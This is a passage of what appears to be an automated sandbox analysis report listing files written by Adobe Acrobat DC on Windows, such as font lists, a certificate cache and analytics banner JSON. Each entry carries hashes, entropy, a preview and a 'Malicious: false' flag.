C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.774645425921109
Encrypted:	false
SSDEEP:	48:7Mcp/E2ioyV8ioy9oWoy1Cwoy10KOioy1noy1AYoy1Wioy1hioybioyOoy1noy1B:7vpju8F/XKQX8b9IVXEBodRBk4
MD5:	4A6A553090C031147E3C8137F95F8101
SHA1:	21934B4F19B6F09955390CABA9258F5D0533BC26
SHA-256:	991571963310F0A0BF58C6A84219E902F501815E9C6630B257EDDC28F34C7B4F
SHA-512:	77ECC7DB20BFFC33C98059C2C37FFCF51ABAD0A4B97C3FABA659E1B233C1D6E359F047FBF1E3F308CA792287CFB99AE42CEFE8363492EB3C30103C6B90788DF3
Malicious:	false
Preview:	.... .c......$.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7425532007658724
Encrypted:	false
SSDEEP:	3:kkFkl03V3/tfllXlE/HT8k7YhlXNNX8RolJuRdxLlGB9lQRYwpDdt:kKt3teT8yYzdNMa8RdWBwRd
MD5:	936046895E4F23BCD9DFBA46725143B6
SHA1:	4871CEF367A2B7BA55BF11E0BEBD2932F7DC9FBB
SHA-256:	CDC15CD9A63F6A841698B7601D4BAF902E899D6D07DE93CD6B4E4C95C4BB0C4F
SHA-512:	FEBF9A7336907B9565CACFF6001E820F041ACB0FFE6E5830637C5E8C193667899DEB8D44FE3E5461BD47583DEDA2F92E165E418DA7EFFBE8D484B0B425605500
Malicious:	false
Preview:	p...... ...........].c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6540

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.6540

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.3827250791646035
Encrypted:	false
SSDEEP:	6:YEQXJ2HXqGHgMU09VoZcg1vRcR0Y2DoAvJM3g98kUwPeUkwRe9:YvXKXQMU0EZc0v9sGMbLUkee9
MD5:	C75154EA411B86FC3B92A3FE4D9EAD40
SHA1:	53378DA026054D0D5A0A1A77DD6719017D06D14C
SHA-256:	F065A3570FCB44B7CF8EE6EC6719EAAAD9C3DF0B5F3FC0B9E2CB449F5BB053CA
SHA-512:	295E648790CDB34442859A139B1A668207D5C710E94DC8E79F919A8D288BD95ABC71149C9879C12407034ED017DE95F8CD05A80B13F9DF72FC1D63562BB1D247
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d01239c0-9e3e-4d38-82d0-1c95541c882f","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736710133621,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.3326905417523225
Encrypted:	false
SSDEEP:	6:YEQXJ2HXqGHgMU09VoZcg1vRcR0Y2DoAvJfBoTfXpnrPeUkwRe9:YvXKXQMU0EZc0v9sGWTfXcUkee9
MD5:	21E681ADFCBA93A419C675B61D3A72A8
SHA1:	F346E42BC669CF68DB143D83658D3E7A5AF87FF1
SHA-256:	DC3B9214D2C55DD987E418B6365F9F3F9A74643B49B91B879FE1B51EAF95D347
SHA-512:	8B2843FEA013DB0D929C57F1604789F6CF572D6FBCB7C551B8F5979BC785BB0BE28E69A36C5939609B778FFF3C3DF94E5D9BCC6E371A3D12CD2BB69722C14F97
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d01239c0-9e3e-4d38-82d0-1c95541c882f","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736710133621,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.31082945649759
Encrypted:	false
SSDEEP:	6:YEQXJ2HXqGHgMU09VoZcg1vRcR0Y2DoAvJfBD2G6UpnrPeUkwRe9:YvXKXQMU0EZc0v9sGR22cUkee9
MD5:	0FAE7CD73FAB6AB9A662F3ABCDF5257A
SHA1:	1F8FF15E2BF7DCC45EF546F4798EF729009A2558
SHA-256:	7234916E6086F57AA062A637B8F54308DB2B37B5BE4B61054DD27EABD586B19B
SHA-512:	A49D078F5B99BEB1B93A0A483AE03150DFDB17DB9CF68E312049919A115C4BCD4B07EA183ED4CBAC251FCD8A75AB82F73C162894CCFD599DFD4CE7B4844F0E70
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d01239c0-9e3e-4d38-82d0-1c95541c882f","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736710133621,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.3704149430035315
Encrypted:	false
SSDEEP:	6:YEQXJ2HXqGHgMU09VoZcg1vRcR0Y2DoAvJfPmwrPeUkwRe9:YvXKXQMU0EZc0v9sGH56Ukee9
MD5:	42F92AB7002479CBBBCC8F4601A2092B
SHA1:	02B7A14E76AC06A10F1C578B2287957641174F1E
SHA-256:	007D4A323990DA56C6B9F82F698C3DA24CEB68643589F34F9129D06F7F7F5158
SHA-512:	D800937FDE11EFE40E45CEAB690FA1B1FFF832232C5FA2AC22ECB59E96596B75EA7E29B89EDB9C5C7DE9C2FF4B9E350E43BD5299180463F877E78D533C9088B5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d01239c0-9e3e-4d38-82d0-1c95541c882f","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736710133621,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.689950259569784
Encrypted:	false
SSDEEP:	24:Yv6XQSEzv9JpLgE9cQx8LennAvzBvkn0RCmK8czOCCSA:YvHPhgy6SAFv5Ah8cv/A
MD5:	9F2BF633D4E988C03434F5CBB1A6D970
SHA1:	902417A8477EFF5433F2DDD7A30FC1E811339820
SHA-256:	D1AC8BCD163E6871E43B9B048879AD3F54779DCA82150B215CB79BEB6C256B36
SHA-512:	AAB16F8B33CEEA44637941A5B835081A2319D1EACAE0D848499EFF94CBA1FE7CD3F89F219158CEECC9A87761A66729266FAFA77504205BBCFE15296819240A54
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d01239c0-9e3e-4d38-82d0-1c95541c882f","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736710133621,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.3157604939544365
Encrypted:	false
SSDEEP:	6:YEQXJ2HXqGHgMU09VoZcg1vRcR0Y2DoAvJf8dPeUkwRe9:YvXKXQMU0EZc0v9sGU8Ukee9
MD5:	B58D8BE9AD0D45B7E16F70758605EF4B
SHA1:	71989DCC4436A814151D8DCBFD1017F3ECC26DD3
SHA-256:	4D9C902A88193655554952FEAFC987134E457AEBA970468D1D4D3E9B24CE36B3
SHA-512:	7D89FA5A4AAC2CB4D4FFFD1A84832CD7048C292A0E003EBAE9A13799A90A4D9893C786C5D6D7C46C9713535C1DC5644B01746B5826120D06EB89A9A47623BE5C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d01239c0-9e3e-4d38-82d0-1c95541c882f","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736710133621,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.318860582463026
Encrypted:	false
SSDEEP:	6:YEQXJ2HXqGHgMU09VoZcg1vRcR0Y2DoAvJfQ1rPeUkwRe9:YvXKXQMU0EZc0v9sGY16Ukee9
MD5:	86361419BB84A236966F2E007E1DBED9
SHA1:	62297A6BB7277EE024D0D358796A1CDADC41181A
SHA-256:	0880BE6CF2293A688F7B089BE3DC823CD5B5DCB916313E98928CCEE6B13A0214
SHA-512:	F9F1164EF027FE8BDE92DB0AFB38DE05669AD38337D342E2D39EC3B4418ED52D2B49499F87B7DE69E2FC97C86572D6615AD43F231C6735ACB01CEE4907A64BD4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d01239c0-9e3e-4d38-82d0-1c95541c882f","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736710133621,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.324682126203268
Encrypted:	false
SSDEEP:	6:YEQXJ2HXqGHgMU09VoZcg1vRcR0Y2DoAvJfFldPeUkwRe9:YvXKXQMU0EZc0v9sGz8Ukee9
MD5:	DAE943F3BB168CF98895ADCF48530435
SHA1:	2A9CB7DEEF65311C448B4FB674EDE68F6B40BE31
SHA-256:	69D6AB1B465FB2D8F2296B52B4BD605F32E07B8BE6AA6D46B094C800F0B3B68D
SHA-512:	02C96119A100E632DA9B4C624C2D7241F12E7EF7A8DF2F6C3DB369F4BD956C8B5D07DF42059F62219A98BDA9DB7180C97EE319DEB54FCF535A7B5366D95FE4F5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d01239c0-9e3e-4d38-82d0-1c95541c882f","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736710133621,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.341997985069956
Encrypted:	false
SSDEEP:	6:YEQXJ2HXqGHgMU09VoZcg1vRcR0Y2DoAvJfzdPeUkwRe9:YvXKXQMU0EZc0v9sGb8Ukee9
MD5:	D719F51D60A70C7FE3794A31E2DBD2DB
SHA1:	E72253D043C35F00C34BB5A013677A808976619C
SHA-256:	9D9CB3E0F3FAD02114D5194F8712B7156A72D5DA06D75C0F084B02C5B71A9834
SHA-512:	89C7B409EEF1EAB6075E1645B8C24DB43F34CFADA61244FEF3C433B940BB0CA558A2ADA9519A9A37EA47A2809395945A9CCC7E0AA468F4A2C104C43A7EF68502
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d01239c0-9e3e-4d38-82d0-1c95541c882f","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736710133621,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.322505622397534
Encrypted:	false
SSDEEP:	6:YEQXJ2HXqGHgMU09VoZcg1vRcR0Y2DoAvJfYdPeUkwRe9:YvXKXQMU0EZc0v9sGg8Ukee9
MD5:	F372BAC5938C7D9C781DADF80908D964
SHA1:	3A0D0F8C533CF7B48475CABED92C2CE48ECF471C
SHA-256:	889AA4323CADCD2EC03CE9864429CAFB1895A84BB6B02F427864C7049DCF9986
SHA-512:	816DC5A607746D89AA28037DAFF1211FA062018E0B92D100815E1FCAA78A121AD812FF6DA4DC856C524A226E48F5C3FAC4095A459439EE213F440E81200F3230
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d01239c0-9e3e-4d38-82d0-1c95541c882f","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736710133621,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.309251211894485
Encrypted:	false
SSDEEP:	6:YEQXJ2HXqGHgMU09VoZcg1vRcR0Y2DoAvJf+dPeUkwRe9:YvXKXQMU0EZc0v9sG28Ukee9
MD5:	C47C761B019F59FF4BF48A396C3CCDA9
SHA1:	5F10019B50ECF5511F45FE45E22F28D308C75B06
SHA-256:	FDBD9B091C98D7A2FAD042A3DAD572542E04CE972BA8E25FC2E5BDFEF48A3395
SHA-512:	6027F2B12281FED4C5BD15CDABA79920843510F50A056DA330A759D2F9662CDB39B9CC252BF31F09D02D9126207746EA555A18FDC1D2B373C145D8047DAF43DA
Malicious:	false
